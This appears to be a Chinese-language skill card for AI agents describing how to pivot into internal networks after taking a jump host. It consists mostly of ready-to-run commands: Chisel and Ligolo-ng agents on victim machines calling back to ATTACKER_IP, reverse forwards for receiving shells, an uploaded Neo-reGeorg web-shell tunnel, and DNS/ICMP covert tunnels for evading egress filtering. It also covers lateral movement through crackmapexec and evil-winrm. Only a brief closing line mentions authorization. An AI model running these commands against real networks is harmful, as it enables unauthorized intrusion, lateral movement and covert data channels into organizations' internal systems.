后端与接口
拿到跳板机后需要访问内网时,用隧道与代理转发穿透网络边界
当已控制一台可出网的跳板主机并需要访问其内网服务、横向移动或为队友共享入口时,按出站限制选择 SSH、Chisel、Ligolo-ng、socat、DNS/ICMP/HTTP 隧道和 ProxyChains 建立端口转发或 SOCKS/TUN 代理。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 38/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 55/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
拿到跳板机后需要访问内网时,用隧道与代理特定
解决思路
- 深入前,按场景考虑加载相关技能:network-protocol-attacks 用于从跳板位置发起网络层攻击;reverse-shell-techniques 用于建立初始访问 shell;unauthorized-access-common-services 用于利用通过跳板发现的服务;linux-privilege-escalation 或 windows-privilege-escalation 用于跳板到新主机后的提权。
- SSH 本地端口转发:ssh -L 3306:INTERNAL_HOST:3306 user@PIVOT -N 可通过 localhost:3306 访问 INTERNAL_HOST:3306。
- SSH 本地端口转发访问内网 Web:ssh -L 8080:10.10.10.100:80 user@PIVOT -N,然后浏览 http://localhost:8080。
- SSH 本地端口转发绑定所有接口供队友使用:ssh -L 0.0.0.0:8080:INTERNAL:80 user@PIVOT -N。
- SSH 远程端口转发:ssh -R 9000:127.0.0.1:8000 user@PIVOT -N,使攻击者端口 8000 可通过 pivot 的 9000 访问。
- SSH 远程端口转发暴露攻击者监听器到内网:ssh -R 0.0.0.0:4444:127.0.0.1:4444 user@PIVOT -N,内网主机连接 PIVOT:4444 会到达攻击者 4444。
- SSH 动态端口转发:ssh -D 1080 user@PIVOT -N,在 localhost:1080 创建 SOCKS4/5 代理。
- 把 SSH SOCKS 代理写入 ProxyChains:echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf,然后运行 proxychains nmap -sT -Pn -p 80,443,445 INTERNAL_SUBNET/24。
- 也可把浏览器设置为 SOCKS 代理,浏览内网 Web 应用。
- SSH 单跳 ProxyJump:ssh -J jumphost user@TARGET。
- SSH 多跳 ProxyJump:ssh -J jump1,jump2 user@TARGET。
- 持久化跳板配置:在 ~/.ssh/config 中为 Host internal-target 设置 HostName 10.10.10.100、User admin、ProxyJump user@jumphost.example.com。
- Chisel 反向 SOCKS 代理:攻击者运行 chisel server --reverse --port 8080;受害机运行 chisel client ATTACKER_IP:8080 R:socks;攻击者 127.0.0.1:1080 出现 SOCKS5 代理,然后 proxychains nmap -sT -Pn INTERNAL/24。
- Chisel 端口转发:chisel client ATTACKER:8080 R:3306:INTERNAL_DB:3306。
- Chisel 多个端口转发:chisel client ATTACKER:8080 R:3306:DB:3306 R:8080:WEB:80。
- Chisel 反向端口转发:chisel client ATTACKER:8080 R:0.0.0.0:4444:127.0.0.1:4444,把攻击者服务暴露给受害机网络。
- Ligolo-ng 启动代理端:sudo ip tuntap add user $(whoami) mode tun ligolo;sudo ip link set ligolo up;ligolo-proxy -selfcert -laddr 0.0.0.0:11601。
- Ligolo-ng 代理端受害机连接:ligolo-agent -connect ATTACKER_IP:11601 -ignore-cert。
- Ligolo-ng console 操作:session 选择 agent;ifconfig 查看 agent 网络接口;start 启动隧道。
- Ligolo-ng 添加路由:sudo ip route add 10.10.10.0/24 dev ligolo;sudo ip route add 172.16.0.0/16 dev ligolo。
- Ligolo-ng listener 通过跳板接收反向 shell:在 ligolo-proxy console 执行 listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp,内网主机连接 AGENT:4444 会转发到攻击者 4444。
- Ligolo-ng 双层跳板:Agent 1 在 DMZ 隧道到内网 1,Agent 2 在内网 1 隧道到内网 2;在攻击者添加两条路由:sudo ip route add 10.0.0.0/24 dev ligolo;sudo ip route add 172.16.0.0/24 dev ligolo。
- socat TCP 端口转发:socat TCP-LISTEN:8080,fork TCP:INTERNAL:80。
- socat UDP 中继:socat UDP-LISTEN:53,fork UDP:INTERNAL_DNS:53。
- socat 加密隧道:socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:INTERNAL:80。
- socat 文件传输接收端:socat TCP-LISTEN:9999,fork file:received_file,create。
- socat 文件传输发送端:socat TCP:RECEIVER:9999 file:send_file。
- ProxyChains 配置 /etc/proxychains4.conf:可选 strict_chain 表示任一代理宕机则失败,dynamic_chain 跳过失效代理,random_chain 随机代理顺序;在 [ProxyList] 中写第一跳 socks5 127.0.0.1 1080,如需链式再加第二跳 socks5 127.0.0.1 1081。
- ProxyChains 用法:proxychains nmap -sT -Pn -p 22,80,445 10.10.10.0/24;proxychains crackmapexec smb 10.10.10.0/24;proxychains evil-winrm -i 10.10.10.50 -u admin -p pass。
- Windows netsh 端口转发(需管理员):netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=INTERNAL_IP。
- Windows netsh 查看转发:netsh interface portproxy show all。
- Windows netsh 删除转发:netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0。
- Windows plink 动态 SOCKS:plink.exe -ssh -D 1080 -N user@ATTACKER。
- Windows plink 远程端口转发:plink.exe -ssh -R 4444:127.0.0.1:4444 user@ATTACKER。
- Windows plink 自动化非交互并接受主机密钥:echo y | plink.exe -ssh -l user -pw password -R 9050:127.0.0.1:9050 ATTACKER。
- DNS 隧道 iodine:攻击者运行 iodined -f -c -P password 10.0.0.1 t1.yourdomain.com(需 NS 记录指向攻击者);受害机运行 iodine -f -P password t1.yourdomain.com;会创建 dns0 接口并可通过其路由流量。
- DNS 隧道 dnscat2:服务端运行 ruby dnscat2.rb yourdomain.com;客户端运行 ./dnscat --dns=server=ATTACKER,port=53 --secret=SHARED_SECRET。
- ICMP 隧道 icmpsh:攻击者先 sysctl -w net.ipv4.icmp_echo_ignore_all=1,再运行 python3 icmpsh_m.py ATTACKER_IP VICTIM_IP;Windows 受害机运行 icmpsh.exe -t ATTACKER_IP。
- ICMP 隧道 ptunnel-ng:服务端运行 ptunnel-ng -r INTERNAL_HOST -R 22;客户端运行 ptunnel-ng -p PIVOT_IP -l 2222 -r INTERNAL_HOST -R 22;然后 ssh -p 2222 user@127.0.0.1。
- HTTP 隧道 Neo-reGeorg:python3 neoreg.py generate -k PASSWORD 生成隧道 Web Shell;把 tunnel.php/aspx/jsp 上传到目标 Web 服务器;连接 python3 neoreg.py -k PASSWORD -u http://TARGET/tunnel.php;在 127.0.0.1:1080 得到 SOCKS 代理。
- HTTP 隧道 Tunna:python2 proxy.py -u http://TARGET/conn.php -l 4444 -r 3389 -a INTERNAL_IP。
- 按出站限制选择工具:允许任意 TCP 出站用 Chisel、Ligolo-ng、SSH;仅允许 TCP 80/443 用 Chisel HTTP/S、Neo-reGeorg;仅允许 DNS 53/udp 用 iodine、dnscat2;仅允许 ICMP 用 ptunnel-ng、icmpsh;无出站用 bind shell 加端口转入(需能入站访问跳板);只有 Web Shell 用 Neo-reGeorg、Tunna。
- 按决策树执行:若能在跳板安装工具且允许出站 TCP,需要透明路由用 Ligolo-ng,需要 SOCKS 用 Chisel 反向 SOCKS,有 SSH 用 SSH 动态转发;若仅 HTTP(S) 出站,用 Chisel over HTTPS 或上传 Web 隧道 Neo-reGeorg;若仅 DNS 出站,用 iodine 或 dnscat2;若仅 ICMP,用 ptunnel-ng 或 icmpsh;若不能安装工具仅 Web Shell,用 Neo-reGeorg/Tunna;Windows 跳板有管理员权限用 netsh portproxy,有 SSH 客户端用 ssh.exe,允许出站 SSH 用 plink;多层跳板用 Ligolo-ng 多 agent 和路由叠加、SSH ProxyJump 链、ProxyChains 多 SOCKS;队友也需要访问时,把 SOCKS 绑定 0.0.0.0(ssh -L 0.0.0.0:...)或通过公共代理共享 Ligolo-ng 路由。
适用边界 · 注意事项
- 未获得明确授权或不在合法渗透测试/红队授权范围内时不应使用。
- 目标环境禁止出站或严格限制协议且无法获得相应能力(如 root/admin、原始套接字、NS 记录、Web 上传)时,对应隧道不可行。
- 高检测环境或对稳定性/隐蔽性要求极高时,部分工具和噪声较大的扫描/隧道可能暴露,需要评估 OPSEC。